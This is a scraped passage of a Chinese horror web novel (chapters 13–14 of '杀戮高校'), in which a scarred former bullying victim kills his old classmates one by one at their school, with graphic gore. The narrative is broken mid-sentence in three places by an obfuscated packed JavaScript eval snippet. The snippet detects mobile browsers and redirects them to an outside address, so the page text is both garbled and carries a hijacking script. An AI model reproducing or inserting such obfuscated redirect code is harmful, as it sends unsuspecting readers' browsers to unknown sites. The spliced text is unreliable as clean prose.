“当然不。” “既然这样,基普头往后靠,闭上你的眼睛,”南斯将硬币放到基普额头,“就是这样。当我说开始的时候,你慢慢地抬头前倾,将硬币放入漏斗中。” “没问题。”基普示意自己听懂了。 在南斯宣布开始后不到半分钟,一声清脆的硬币磕碰声响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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斜靠着柜子的哈里斯仍然不尽兴,他晕乎乎吐出一口烟,想出了新乐子。他声音飘忽地说:“汤姆,向我们展示你如何喝掉啤酒......” “喝醉了?”汤姆抱着手臂,肌肤在灯光下白得能润出细腻的光泽,那双眼乌溜溜瞅向哈里斯。 哈里斯一下哑口无言,不知道是想起这人的武力还是被外貌所慑,他转而叫起特德。 “我会告诉你。” 跃跃欲试的弗兰克被哈里斯拦住。他朝特德示意:“你来就没趣了,让特德来。”弗兰克酒量豪爽,本来就是个行家,今晚他喝了太多次,哈里斯看都看腻了。 特德爽快答应,走到桌前,拉着扣环打开一罐啤酒,抬头猛灌。 聚在他身后的众人兴奋地倒数:“5,4,3,2,1!” 液体顺着咽喉流入身体,特德喉咙滚动几下,赶在倒数的最后一秒完成一口闷表演。他自得的表情还没维持几秒,突然抽搐起来,手臂死死捂住肚子。 本来已经散开在三两说说笑笑的众人又聚回特德身边,关切道:“你还好吗?” “我觉得恶心。”特德艰难地从牙缝里挤出这句话,就痛苦得再也动不了唇舌。狰狞的五官让离他最近的苏珊受惊地后退几步。特德扒开衣服,微鼓的肚子像婴儿胎动般,带着破土而出的冲劲,一跳一跳的,肚脐眼被挤得贴在皮带上。 随后,肚子缓缓地以一种势不可挡的速度裂出一条缝,没有血液,特德惊悚地看着,比之更恐怖的内脏流出。他捂住肚子的手指正好凹陷入裂缝,豁开的口子边缘肌理和肠子柔滑的触感让特德腾地闭紧双眼,鼻翼翕动,嘴巴徒劳大张。 这种紧急时刻,苏珊满头大汗地发现肢体失去控制,全身僵硬得像块石雕般一动不动。 碰撞声的响起,基普、卡罗尔他们才注意自己已经贴着墙壁,退无可退了。他们惊恐地看着面前这幕,大小肠争先裹成一团涌出后,嘭的一声炸响,血液四处飞溅,特德则直直倒在地上。 “天啊!” 离门最近的南斯背脊打颤,面无人色,本能地夺门而出。急促的脚步声惊醒基普他们,几乎是同一时间,他们肩挨着肩一并涌而出,走在最后的弗兰克一把扯上还楞在原地的汤姆。 汤姆边跑边扭过头,躺在地上的死尸压住自己几秒钟前流出的内脏,仿佛这样就能原封不动地塞回去。明明一分钟前还是欢笑说话的活人,现在就成了开膛破肚的尸体。 溅了满身血液的苏珊,惊恐地捂住嘴,湿热的液体渗透衣衫黏在肌肤上。她踉跄后退靠上柜子,手扒着柜门,这点实物感让苏珊颤栗的心有了点着落,这才反应过来其他人都不见了,慌忙松开手跑出去,没留心柜门的马蒂照片染红了半张脸。 经过窗子前,她最后回头,残存的啤酒罐内流出一股青色的泛着大大小小泡泡的液体。 众人跑下楼梯上下来,大门被锁上了。大家一通使力,铁门纹丝不动。 “一定会有出路的。”基普镇定地说,“试试窗户呢?” 率先拉开窗帘的南斯,在浓重的夜色下,伸出的手触碰上铁丝,很快,伴随一连串炸出的电花,她晕倒在地。 “马蒂回来了。”卡罗尔自言自语地说。 “为什么这么说?”汤姆敏锐地意识到不一般。背后一定有什么原因让卡罗尔不假思索地归因于马蒂。 “太疯狂了。” 弗兰克面色镇定,嘴唇却发白了:“马蒂那是个意外!不是我们的错。” “当然是!”斯特拉崩溃地说:“马蒂一定是知道这一点,他来找我们复仇了!” 基普坚定地反驳:“不!当初只是意外。我们谁能想到最后会演变成那样?大家谁都想不到啊!” “意外?你信吗?你信吗?”斯特拉面色难看地质问所有人:“你们就不该想着对他的实验开玩笑。” “斯特拉,别说的像是你就无辜了。”哈里斯冷笑。 所有人陷入了争执中。 汤姆拿出手机,一边在手机上划过几下,屏幕的光亮照着反光的铁丝,然后他举起一旁靠在墙壁的铁棍,用布包裹着砸到电网上,飞溅的电火花激起一阵惊声尖叫。 在一片沉默中,汤姆说:“当初到底发生了什么?” “别内讧,汤姆。”铁棍挥来带的劲风让基普以为自己会把铁棍打个头破血流,他不说话了。 见众人都乖觉下来,汤姆声音平静地开口:“现在,请说吧。” 众人的视线落到哈里斯身上,他犹豫了下,不情愿地率先诉说起被众人掩盖了十年的秘密。 十年前。 “嘿,马蒂。”哈里斯和特德客客气气地拦在马蒂两侧。 脑袋快缩进肩膀的马蒂一声不吭。 “我们想说,事情有点失控了。”特德解释。 马蒂不满他们的轻描淡写,却不敢放声反驳,只能喏喏地带着几分嘲弄的重复:“有点失控?” “冷静下来,好吗?”哈里斯说的仿佛马蒂在歇斯底里地叫骂。也许在他们眼里,胆小的马蒂一丁点的反抗,那就是不得了的。 “我的意思是,卡罗尔真的很性感,你应该也是这么想的吧?” 哈里斯和特德提到卡罗尔时,之前还为卡罗尔举动而伤心的马蒂却惊奇发现,那股哀伤情绪已经蒙上了层雾,他现在甚至不明白为什么之前自己会伤心。 “听着,我们得回去了,因为做了坏孩子。”哈里斯递上一根烟,“这是我们的赔罪礼物。” “马蒂,收下我们的心意,就让今天的事儿过去吧。”特德说,“你知道的愚人节这天开点玩笑不足为奇,谁知道教练大惊小怪,他以为你是谁?开不起玩笑的胆小鬼懦夫吗?但是我相信不是这样的,马蒂。毕竟,”特德仿佛赞叹地说:“Marty games for everything.” 本来紧张兮兮听着两人说话的马蒂顿时涨红了脖子,嘴唇开合,也不等他说话,哈里斯转移话题:“今晚又要学化学,嗯?”他别有深意地祝福,“祝你好运,伙计。” 说完哈里斯拍了把马蒂左肩,马蒂抖了个激灵才平复下身体害怕的颤动。 “再见。”特德往他右肩用力一按,吓得马蒂又打了个颤。 两人不再说话了,马蒂抱紧双臂,努力地缩小自己的身形,从哈里斯和特德中间中,提着脚跟似的走出去。 在他背后,两人意味不明地对视。 “等到他尝试了.......”哈里斯迫不及待要看到马蒂沉湎的滑稽模样了。 不过眼下还有更要的事儿——他两换好背心短裤,姗姗来迟自然是免不了一顿责罚。在教练的训斥中,哈里斯和特德朝给众人比手势。 见汤姆看到了,他们也不遮掩,大大咧咧地朝汤姆笑。教练一铁拳朝两人打来,黑着脸就差揪着耳朵骂了。 另一边。 实验室木桌上,架子里的瓶瓶罐罐整齐摆放着,三脚架下本生灯冒着火焰,一根橡胶管将本生灯与煤气连接。 在黑板上写好方程式的马蒂,走到木桌看到本生灯的火焰,想到了哈里斯给他的烟。他好奇地拿出烟,想不通这小小一支烟怎么有那么大的魔力,让哈里斯他们着迷不已。他没端详出个所以然,便拿起本生灯,嘴巴咬着烟放到火心中点燃,吸了好几口,吐出烟雾的时候差点呛到。 太呛人,马蒂想。没了好奇心思的马蒂将注意力回归到实验,烧杯里面的试剂也反应得差不多了。 他举手从旁边木架上慢慢捧下一罐深棕色瓶子,拧开瓶口倒出的液体比烟还要呛人,气味刺激得马蒂直皱鼻子。结束后,他将罐子放回木架顶端,突然的重量让木架微微晃动,带动试剂瓶里面的液体波浪似的起伏。 没了手臂的遮掩,深棕色瓶子上白纸的标注一览无余:“NITRIC ACID”。 刚放好硝酸,马蒂肚子翻腾起来,他捂着肚子在短暂的错愕后,跑出门径直来到实验室隔壁的洗浴间。 马蒂前脚刚进洗浴间,基普后脚就赶到实验室。 哪怕有哈里斯、特德的保证,悄悄来到实验室的基普还是从窗户里确认马蒂不在,才放心地走进。他惊奇地从架子上一排颜色大小各异的试剂容器前擦身而过,玻璃瓶倒映出基普扭曲放大的五官。 走动中,基普从兜内掏出一包东西,中途还有心情吹了吹玻璃管里冒出的气体,最后来到操作台前,将袋子里的白色粉末倒入盛满红棕色液体的烧杯中。 霎时急速反应出白色泡沫一层又一层覆盖了棕色液体,气泡一下子顶到烧杯顶端,然后缓缓平静下去,恍若无事发生。 基普得意地笑了笑,这才离开。刚关上门,看到前面正准备打开的沐浴室门,他急哄哄的跑步动作一下变成大摇大摆的走路。 马蒂纸巾捂着嘴,看着从面前走过的基普还窃笑着瞟了自己一眼,他有点摸不着头脑,但是没多想走进实验室。 夜晚的到来,寒气也流淌在空气里。马蒂披上夹克衫,手里拿着笔记本,正一丝不苟地观察时,加热中的烧杯忽然炸了一窜棕色亮光,冒出蒸腾的烟雾,像极了马蒂十多分钟前吐出的那口烟,都是雾蒙蒙的。 马蒂吓得后退丢开自己的记录的笔记本,橡胶管和本生灯脱离,管内还在冒出火焰,不过眨眼间,整个桌面便被一簇簇的火苗覆盖,马蒂焦急地想要关掉煤气掣,却发现平时轻易就能关上的煤气掣,如今任凭他施力都难以扳动。反倒是桌面开始摇摆,带动木架上容器晃晃荡荡。 马蒂头发已经湿漉漉贴在额头上,他抿着唇,眼见火势已经无法遏制,他愈发意识到这是一场彻头彻尾的事故。 如果整个实验室因为他而完蛋,马蒂不敢相信自己将会受到怎样的追究。摇摇欲坠的硝酸坠落在桌面上,泼洒出大量液体吻上马蒂的侧脸,锥心刺骨的痛感让马蒂咽喉迸出一股力量,发出高亢的非人般的尖叫。 他痛苦地捂住自己的脸,肌肤被灼噬的极度剧痛愈演愈烈,在某一刻,所有的感官似乎麻木了。 这是一种奇异的状态。马蒂一方面从未如此清醒地认识到自己的人生正随着火焰、随着硝酸而崩塌。但是另一边,对厄运太过于清醒的认知,反倒让他开始恍惚,他不相信自己的一切就在这么短短几分钟间就翻天覆地地被毁灭个彻底。 是梦吧?什么事故什么火灾,一切都从未发生过,快醒来吧,马蒂。你还没有去领奖,你还有那么多的化学实验没有去尝试,你还......有个约定。 想到汤姆,心里无法遏制的悲伤与痛苦沉甸甸压垮了马蒂的肩膀,他终于坚持不住,全身瘫到在地,大脑还试图从这场噩梦中挣脱,为此他不惜将手伸进火焰。 痛苦吗?痛苦的话,就快醒来吧,马蒂,马蒂...... 他眼泪流过脸上烧焦的皮肉,鼻尖烧焦的刺激的气息和身体的刺痛让他绝望地收回手,蜷缩着抱紧自己。 这个梦怎么这么恐怖这么真实?在流泪中,硝酸剥蚀他的脸部皮肉,火焰吞噬肌理细胞,生机缓缓从身体里流逝,融入灿烂的火光中。明黄瑰丽的火球蔓延出实验室,质地像云一样绵绵蓬松,照得走廊锃亮而闪闪发光,辉煌绮丽。 当众人赶到时,火光已经变得平淡无奇,实验室的景象骇心动目。人们趴在门口,眼内错愕惊慌的目光毫不作假,倒在地上的马蒂听到脚步声,提起一口气微微抬起上半身,他伸出手想要寻找什么,却直到散去这口气时也没找到,只能满含不甘地陷入昏迷。 乔伊胆颤后退,空出的缝隙让汤姆这才得以看到气息奄奄的马蒂。 这场爆炸与大火将基普他们做的手脚烧的一干二净,警方也没上心,他们心里偏向这是场实验事故,草草调查后坚定结案——这就是场实验事故。 13.杀戮高校03 一声尖叫穿过病房回荡在寂静的走廊里,听出是护士安娜声音的医生皱起眉头,匆匆三两步赶来,一边推开门,一边喊:“发生什么了?安娜?” 他往房间里张望,出乎意料,病房内却是井然有序的安详模样。护士弯着腰站在床边,清晨的阳光将身影勾勒出一圈光晕。 “你怎么了?一切都还好吧?” 没有回应。 安娜怎么不说话?医生疑惑地靠近,伸出的手正要拍在面前瘦削的肩膀上时,护士猛地转身,随着可怖的模样一同映入眼睛的,是尖锐细长的针头。 “啊!” 医生捂着眼,惨叫着跪下:“你,你......马蒂!?”鲜血从手指缝隙中流出,他紧眯着仅存的一只眼,死瞪向马蒂的惊恐视线中,还有些茫然。 马蒂平时看着身体瘦弱单薄,现在换上不合身的护士服,褪去畏首畏尾的姿态,医生这才发现,这位在病床上躺了将近半年的病人有着一副宽阔高大的骨架,打卷的头发耷拉在额头像羊毛一样。 “哈哈哈。”马蒂笑声如同天真咩叫的羊羔,凝视着医生的眼神,却闪烁出让医生脊背发凉的光芒。 医生浑身一颤,慌张将视线移开,落到病床上,“安娜!” 叫声换不醒长眠之人。安娜一动不动躺着,脖颈青紫的伤痕和额头上猩红的血迹清晰可见。 “哒哒......”见马蒂靠近,医生下意识两脚啪啪地蹬着地面,发抖着后爬。 马蒂顿住,饶有兴味地打量着医生的举动。从脖子爬满半张面颊的伤痕,像极了肌肤浸水后起的一道道褶皱,嘴唇定格的弧度看上去讥讽十足。 倒退中的医生哆嗦着开口:“别——别冲动,马,马蒂你——你——你冷静一下!为你以后的人生着想......”那只紧张地盯着马蒂的独眼,如同看一个十恶不赦的疯子,谴责又害怕。 这种眼神...... 马蒂浑身颤栗,热血一下子从心脏涌出,冲上面庞烧红了脸。迷离恍惚中,医生身形变为曾经胆怯的自己。于是他宽容地、默然无声地站着,眼见医生一点点靠近大门。 最后,医生背对他手搭上门把,马蒂觉得无聊了,便几步走进,拽住头发往墙面砸去。 “砰——” 跨过倒在地上的身体和血泊,马蒂安静地走向墙壁挂着的白框镜子。 这是一张仿佛被猎犬啃噬过的恐怖面庞。多次手术下来,右半张脸仍旧是炭烬般坑坑洼洼。 他抚摸着面孔,对上镜子里自己的视线,那双灰绿色的眼睛炯炯有神——下一秒,马蒂的指尖果断掐入皮肉,一点点撕下。 强烈的痛感却让马蒂嘴角的笑意愈发真切。 基普、卡罗尔、弗兰克...... 还有,汤姆。 马蒂那双晦涩的眼睛十分可怕,他透过镜子对视着—— 坐在驾驶座的哈里斯心头一跳,后视镜里满脸皱子的小丑盯着自己,他还没反应过来,小丑已经凑到身后。 刀具捅破皮肉,发出湿湿的、刺破的声音,呛人的血腥味争先恐后散出。 马蒂握着刀,虎口死死抵住哈里斯渗血的肌肤,五指黏稠的全是血。他左手紧捂着哈里斯的嘴巴。 “嚯嚯......”哈里斯一阵窒息,所有的呼叫都堵在喉咙眼。 确认身前的人没了呼吸后,马蒂松开手。没了支撑,哈里斯脖子歪在一侧,像瘪掉的气球倒在座椅上。 刀尖还在滴血,马蒂眼神放空,当他和哈里斯在后视镜内对视,忽然记起十年前。 那是他第一次下手,却如同往常做实验般驾轻就熟、双手稳健,感觉到的只有兴奋,没有忐忑。他以为复仇会比这更愉悦,然而见到鲜血淋漓的特德和哈里斯,无趣感先一步前来。 为什么呢?马蒂厌倦又疑惑地想。 而趴在窗户旁的众人还在苦苦等待着哈里斯。 几分钟前,哈里斯灵机一动,借着打火机的光,将铁网踹出个豁口,自告奋勇地去开车过来。 毕竟现在大门窗户都被锁死,学校位置偏僻,每个人手机都毫无信号,学校也不存在其他可用的通讯设备。在这一与外界失联的困境下,也只能靠他们自救。 特德突如其来的死亡让这群年轻人六神无主。不安忐忑的他们,见有人愿意挺身而出,自然乐得如释重负。 这群美利坚年轻人自信惯了,哪怕一时惨遭厄运,他们的傲慢也不曾受挫,不然他们怎么放任哈里斯一个人出去? ——他们显然没意识到问题的严重性。 化作杀人小丑的马蒂来势汹汹,霸凌者们却还是高高在上。 唯一隐约有所察觉的汤姆,还没从十年前秘闻反应过来,心绪一直不佳,紧紧攥着手机,指腹都泛白了。 夜色之下,教学楼外的一切都像是深深的黑洞,在哈里斯走入草坪后,汤姆再没找到哈里斯的踪迹。手心里牢握的手机,储存了一份录音,是趁他们坦白时悄悄录的。 想到录音内容,想到超出控制的恶作剧......不好的预感起起伏伏,汤姆低头沉思。 基普忍不住发问:“他怎么还没来?”他两条眉毛打架似的跳动着,整个人焦虑难耐。 “怪了,怪了.......”斯特拉自言自语道,忍不住跺跺脚:“你们说该不会出什么意外了吧?” “别这么说,斯特拉。”卡罗尔手按着斯特拉的肩膀,轻拍了几下,说:“毕竟哈里斯也是个身强体壮的人,我们现在什么动静都没听到,不要自己吓自己。”她故作镇定,“也许是夜色太深了,我们再等等吧,多等一会儿也没什么关系。” 众人只好按捺下不安,继续等待。就在他们纳闷得快暴躁之际,吉普车终于发动。 “他做到了!”基普和弗兰克喜上眉梢。 乔伊用激动的嗓音大声附和:“是的!没错!伙计们,他做到了!” “好啊!好啊!”他们精神振奋地高呼,目光炯炯。 却见明明打着车灯,汽车却和无头苍蝇似的,绕着庭院乱转圈。灯光在杂草中一晃而过,惊起好几只蝇虫扑棱翅膀匆匆飞走,留下显眼的黑色车辙印。 众人定睛瞧去,呼吸一窒——那哪儿是泥土,分明是汽油! 汽车打圈,汽油跟着哗啦倒了一地,被车轮一圈圈碾过,地面渗透出不祥的黑色。 “哈?他这是做什么!?” 基普怒视着车,两只手掌奋力拍打在窗户上,“嘿,哈里斯!伙计,你在干什么呢?”他用一种气急败坏的声音唤道,“你真该看看时机,现在可不是你开玩笑的时候。” “Shit!哈里斯这家伙,关键时候怎么也不靠谱起来?”弗兰克抱怨,“上帝啊,他以为他在干什么?” 扣除弗兰克的机车不算,他们这一行人三辆车。其中基普的车中途抛锚,还是靠哈里斯驱车一路拉到学校。汤姆就没有这么走运了,捣鼓半天,车除了轰轰叫得更大声,轮子愣是杵着毫无动弹。幸运的是,赶在快天黑前,路过的好心车主搭了他一程。 也不怪众人心焦不已了。谁让三辆车里,两辆废铜烂铁,唯有哈里斯的车顶用呢? “等等......”卡罗尔和汤姆一同出声,细心谨慎的两人均有所发现。 “哈里斯不是一个会胡来的人,这点我们再清楚不过,不是吗?”卡罗尔说,“眼下那车不对劲,我想要么出了棘手的问题,哈里斯不得不这么做,要么......”开车的人不是哈里斯。 可不是哈里斯又会是谁?卡罗尔不敢想下去。 情绪最激动的基普、弗兰克也领会未尽之意,惊疑地看向汽车,从头到脚打量了一遍又一遍。 光线太暗了!乔伊苦恼地摸着头。 不像基普他们将目光放在汽车上,汤姆凑近窗户。 乱窜的汽车,暗淡的驾驶座,微弱的车灯......四处搜寻踪迹的汤姆忽地浑身一颤。 他说:“看大门。” 话音刚落,汽车正巧停下,特意给汤姆打配合似的,灯光照在栅栏上。众人看到了绵软着身体挂在栏杆上的尸体。 “那是......” 尸体一只手臂扶在爬满红色铁锈的栏杆上,两眼紧阖。哪怕基普众人很不想承认,面朝他们的尸体却是如此的无可辩驳—— “哈里斯!?” 打了蜡般规整的头发,黄蓝相见的衬衫,还有......血迹斑驳的衬衣。 瞧见伤口,他们惊觉好友尚且年轻且锐意勃勃的生命,真的如同他身下的栏杆一样永远的发锈发烂了。 “怎么会呢?怎么会这样......”弗兰克嗓音发涩,喉咙堵住似的,徒劳张着嘴。 半小时前,哈里斯还在和他们一起喝酒抽烟,而现在灵魂离去,只留下一具躯体。目光刚触及好友胸前的血迹,弗兰克眼球被针扎了似的,狼狈转头移开视线,对上基普无神的双眼。他们都看到了彼此的无措茫然。 卡罗尔放在斯特拉肩膀上的手无力地落下,没了安慰的斯特拉,害怕中跳进丈夫的怀里,紧张地掐着乔伊的手臂。 乔伊苍白的脸色霎时因疼痛而红润了,他正要安慰妻子,一声高亢的惨叫骤然响起—— “啊啊啊!” 持续几秒后,一切归于沉寂。令人不安的无声让乔伊一下头皮发麻,和基普、卡罗尔他们面面厮觑。 这声尖叫是? “是苏珊......”汤姆轻声说了句,心却沉下去。 苏珊只怕凶多吉少了。 所有人都无暇顾忌莫名死去的哈里斯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764401|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 卡罗尔心里喃喃地想:“哈里斯才横死,苏珊又传来厄运。马蒂......哦不,凶手是怎么做到的?”胆寒之下,她手掌止不住颤抖。 “我留下,南斯交给我来照看。”基普语气沉重地决定,他看着大家,“你们赶紧去看看她。”尖叫过于声嘶力竭,他不敢想象苏珊会遭遇怎样的报复。 没有多余的对话,只有急匆匆离开的脚步声。除了基普和南斯,以弗兰克为首的其余人循着声音的踪迹,去找寻苏珊,哪怕他们心底已经默认了苏珊十有八九不测。 事实上,他们推测的没错。躺在浴缸内的苏珊,牙齿竭力咬着腮肉,想站起来却力不从心。涌出的泪水,混着妆在眼窝晕成一团,如同她的处境一样糟糕。 褐色的水从浴缸对面水龙头流出。哗啦的水声,好比死神临近的脚步,蒸腾起的雾气化为死亡的阴影严密地笼罩着苏珊。她绝望地回想,事情怎么会急转而下变成这样? 几分钟前,从特德惨状中惊醒的苏珊,只顾着埋头就跑,像一只无头苍蝇,听到点动静就一惊一乍,既想着会不会是基普他们,又战战兢兢怕是凶手。慌不择路中,苏珊跑到了更衣室。 四周寂静,狂乱的心跳声仿佛在耳膜处擂鼓。她平复着急促的呼吸,一边回头警惕地望着门,一边打开浴缸的水龙头。 浴缸底部铺满水后,苏珊脱了衣服坐下,清洗身上的血迹,时不时仔细观察门口和窗户。 水龙头涌出水流,渐渐淹没苏珊的膝盖。她开始放松,仍由水快淹没自己的下颔。 突然—— “啊!”她还未看清发生了什么,尖叫声脱口而出。 一股股色泽暗沉的水喷出,剧痛直击天灵盖。反应过来时,皮肉绽出血腥味,空气中本就刺鼻的味道愈发浓烈。 苏珊痛得直蹬腿。好不容易她扯住沐浴间的帘子,拽直身体,伸手够到浴缸对面的水龙头,一把关掉。 她注意到窗户出现了人影,惊喜极了,大叫道:“救命啊!”却忽视了影子头上诡异的三角形。 窗户均分出九块,只有一块是用铁丝围就,其余几块都用磨砂玻璃隔开。那人缓缓歪头,脑袋从磨砂玻璃倒向铁丝,露出丑陋苍白的微笑脸。 苏珊大惊失色:“小丑!?” 她错愕得无以复加,竟然忘了险境,手指一松,立马栽倒下去。 “啊啊啊啊——” 小丑笑了:“嘻嘻。”视线直直地盯住苏珊。 摔下后,苏珊再没有力气站起来,只能无力地尖叫,而很快她就连尖叫的力气也没有了。褐红的皮肤,像裹了层番茄酱被煎焦的培根,皮肤松松垮垮地搭在骨架上。 痛处模糊了时间。仿佛已经过了一生那么长久,又似乎才过了一会儿,但不管怎么样,苏珊的整个人生就要这么过去了。她像条搁浅很久的鱼,随时都会死去。 恍惚之间,一道意识闪过苏珊脑海——要融化了。 马蒂曾经羡慕基普他们的与众不同,后来他开始想,这群人为什么显得与众不同呢?是上帝多给了他们一根肋骨?他曾日日夜夜地思考,现在看来—— “没什么不同嘛。”脸快贴上玻璃的小丑呢喃。 蓦地他侧过头,耳朵微动。 杂乱的脚步声越来越近。 “他们快到了......”马蒂遗憾地说,身体后退,步履轻快地要蹦起来似的,咯咯笑着离开。 等众人找到更衣室,破门而入后,除了残留的刺激气味,只看到浴缸边沿斑斑点点,像是孩童玩闹甩笔溅出的颜料,红色和褐色呈点状分布。 不祥的预感涌上所有人心头,你推我搡地凑近,才走几步,白花花的头骨从浴缸里露了出来。 泛着赤红的骨架,没了血肉装饰,是最简单朴素的骷髅样。 甜腻而刺鼻的死亡气息钻进毛孔,战栗爬上每个人的背脊。他们以为自己吓得惊慌失色,实际上面无表情,一声不吭。 夜晚凉气顺着呼吸灌入胸膛。空洞的眼睛窟窿,仿佛在看着汤姆,又像是在无差别的凝视着每一个人。 “马蒂,是他!一定是他!呜呜......他知道了,他来找我们复仇了。”斯特拉抽泣不停,转身靠在男人肩膀上。 “不可能!不可能的......” 又死掉一个人......难道真的是马蒂做的吗? 汤姆鼻子微动,空气中残存的刺鼻气味熏得他绷紧了脸。 为了十年前的恶作剧,他向每一个人复仇?他侧过身,视线落到失魂害怕的人群身上。 卡罗尔和乔伊呆滞地站着,斯特拉趴在弗兰克的肩膀失声啜泣......啊?等等,斯特拉?弗兰克? 汤姆看了眼亲密无间的两人,又看了眼斯特拉名义上的丈夫乔伊,陷入凝思。 14.杀戮高校04 苏珊死于非命。 恐惧粗暴地击倒了众人,每个人都怀了一肚子的求生欲望。 “我们接下来聚在一起,不要分开,也别做多余的事,就找个地方休息到天亮。”汤姆提议。 等到天亮后,他们再试图想办法离开学校。汤姆揣测着,运气好些,说不定会有人发现他们的失踪而报警呢? 两位女孩出于谨慎或害怕,都当即赞同。 “对,别分开,咱们就呆在一起。”想到哈里斯和苏珊都是孤身遇害,卡罗尔的面容哀伤又懊悔。 斯特拉说:“没错。我们不给马蒂机会。” 乔伊附和,妻子都这么说了,他自然没有异议,唯独弗兰克骂了句,“该死的!” 汤姆看了弗兰克一眼,“你有什么主意?”他问。 主意? 让马蒂这个又脏又臭的混蛋别畏畏缩缩,出来展示自己? 弗兰克环顾好友们,女孩们无声但坚定地同汤姆站在一边。他一下察觉自己的孤立无援,沉默后,郁闷地憋出一句话:“如果你们都赞成,我没意见。”夹紧的眉头诉说着不情不愿——他不甘心就这么坐以待毙。 老实说,哪怕已经有三位好友丧命,心底也隐隐传来了不安,弗兰克依然自负,始终不愿意承认自己的畏惧。 马蒂在愚弄他们!他心烦意乱地想,若是一对一,马蒂哪里打得过他? 就在弗兰克愤愤不平时,乔伊忽然一拍拳头,说:“嘿,有个消息。”他的表情让人一望就知道这会是个好消息,“我突然想起来,这儿仓库有个好伙子——一辆拖拉机——你们还记得吗?斯特拉,我们当初偷偷开过呢!” 斯特拉疑惑:“我们没有开过拖拉机啊——啊!”她想起什么似的,尖叫了声,瞪了一眼乔伊。 卡罗尔反应过来,差点攥紧了拳头,“都什么时候,乔伊!” 汤姆:“......”他居然懂了。 “好伙计,你在和谁开玩笑呢?”弗兰克说着勾住乔伊脖子,冷漠地收紧臂膊,勒得乔伊龇牙咧嘴直呼好兄弟。 最后,他们决定兵分两路,汤姆留下来照顾女孩们,乔伊和弗兰克去仓库。 等等,感觉少了什么。汤姆思索中,视线自然落到众人身上。 因为乔伊浑话打岔,人人放松了不少。察觉到黑发青年的打量,他们发现心底的念念不忘,并不是朦胧回忆在增光,这名阔别多年的同学依旧富有魅力。 乌黑碎发搭了大半个额头,脸蛋显得更小。面庞线条流畅甚至有些笔挺的锐利,性感的弓形嘴唇上缀着一颗饱满的唇珠,虽然长开的五官不再雌雄莫辨,但汤姆的俊俏依旧给人一种几乎称得上美丽的感觉。 看着这双纯净的黑色眼睛,弗兰克心里的不情愿凭空消散了。他想,不就是大家呆在一起,不和马蒂正面对上吗?办法窝囊了点,但还算个有用的主意。 “对了!”环顾了一圈的汤姆恍然,“还差基普,”想起基普是因为照看人而没有跟来,又补充道,“嗯,还有南斯。” 噢,对!基普和南斯还在楼下等着呢!众人后知后觉。 于是所有人下楼和基普会面。 南斯还未醒,基普则面色充红一片。他面薄,又等得焦躁,血液就全往脖子上涌了。 见好友们一个不落地回来,基普长出一口气,“唉,你们怎么回事?我差点以为你们遇上了凶手了呢。”实际上,他更担心的是自己和南斯,但没必要说出来,显得没有男子气概。 打小基普长得貌若女孩,加上身形矮小,体格远比同龄人瘦削,总被顽皮的男孩子们嘲笑讥讽。也是入学后,身高猛窜,浑身肌肉争先发育,成了多兹维尔学校闻名遐迩的英俊少年。 幼时的经历让他最忌讳被人以为软弱可欺,也厌恶那些小老鼠般唯唯诺诺的人,比如—— 马蒂。 弗兰克他们和马蒂开玩笑,也是因为马蒂太怯懦,一看就很适合拿来逗乐欺侮。 “苏珊呢?” 基普手臂被弗兰克拽住,“你不会想要看到她的。”弗兰克一脸苦笑。 好友刚毅面庞的涩然神情劝住了基普,他悲从中来,颓然靠在墙边。 难不成真的是马蒂?这个曾经任由他们屈辱的软蛋!?想到这里,勇气忽地主宰了基普。 他怒气冲天地拉开门,扯着嗓子粗吼:“马蒂!你该死的,出来啊!” “你想拿我们开心吗?见鬼!你这个恶心的、糟糕的混蛋听清楚了,我们不怕你!” “听见了吗!?” 基普声如洪钟,众人敛声屏息,从午夜持续到现在的憋屈不快,仿佛也经由基普的怒吼而发泄出来。 汤姆不喜欢这种看似铿锵的宣言。 他只觉得吵闹。毕竟,再怎么激昂的语调也掩饰不了基普话语里的苍白无力。 “好了,”汤姆拍打基普的右肩,被无视后,他按着肩膀的手用力,在斯特拉的惊呼声中,另一只手用力锁住基普的脖子。基普只能从喉咙里吐出野鸡似的咯咯声。 “冷静下来,可以吗?”汤姆问。 黑发青年虽然看着像一株被放在温室里娇养呵护的玫瑰,但他骨骼上附的皮肉可不是一揉就红的娇嫩花瓣。肌肉发达而不健硕,厚薄均匀,又有着丝绸般的柔滑润泽,每一寸肌理都蕴含着恰到好处的力量。 汤姆又擅长打斗,知道什么姿势能最大程度束缚对手。基普挣扎了几下,发现难以挣脱,而掐着咽喉的力道加重后,他安静了。 “我们之前在楼上商量好了,弗兰克和乔伊去寻找拖拉机,剩下的人找个房间休息,你要和谁一起行动?”话很简洁,汤姆说着松开手。 基普感觉自己受了羞辱,从脖子根到眉毛跟烧红的烟囱似的,热得快冒烟。他想也不想选择和弗兰克、乔伊一起。 于是在他们兄弟三人行动时,汤姆背着南斯,和卡罗尔、斯特拉一起找到房间。沙发、椅子、吊灯都有,简单打扫后,也还算凑合。 “汤姆,我先小睡会儿。今晚真是太疯狂......”卡罗尔声音弱下去了,悲痛让她沉闷起来。 汤姆看出卡罗尔眼底的疲倦,“好好休息。”没有再多说。 毕竟他和卡罗尔一行人也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764402|127772||http|test|mini|href|location''.split(''|''),0,{})); () { 